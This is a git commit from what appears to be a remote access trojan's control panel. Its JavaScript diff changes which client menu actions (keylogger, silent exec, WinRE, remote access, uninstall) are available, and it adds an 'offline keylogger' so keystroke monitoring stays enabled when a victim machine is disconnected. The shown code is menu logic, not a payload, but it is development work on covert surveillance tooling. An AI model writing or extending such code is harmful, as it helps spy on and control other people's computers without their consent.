fix some tele links, add offline keylogger, fix rbac issues with scripting.

This commit is contained in:
KingKDot
2026-06-10 19:54:18 -05:00
parent d6ad2cadea
commit ab58106b85
28 changed files with 1528 additions and 91 deletions
+8 -3
View File
@@ -371,8 +371,8 @@ function applyMenuSupportRules(clientId) {
const keyloggerSupported = isWindows || platform === "mac";
setAvailability(
keyloggerBtn,
isOnline && keyloggerSupported,
isOnline ? "Keylogger is not supported on this platform." : "Client is offline",
keyloggerSupported,
"Keylogger is not supported on this platform.",
);
const winreBtn = menu.querySelector('[data-open="winre"]');
@@ -400,9 +400,14 @@ function applyMenuSupportRules(clientId) {
setAvailability(silentExecBtn, isOnline, "Client is offline");
}
["remote-access", "monitoring", "system"].forEach(groupId => {
["remote-access", "system"].forEach(groupId => {
setAvailability(menu.querySelector(`[data-group-toggle="${groupId}"]`), isOnline, "Client is offline");
});
setAvailability(
menu.querySelector('[data-group-toggle="monitoring"]'),
isOnline || keyloggerSupported,
keyloggerSupported ? "" : "Client is offline",
);
["ping", "reconnect", "disconnect", "uninstall"].forEach(action => {
setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline");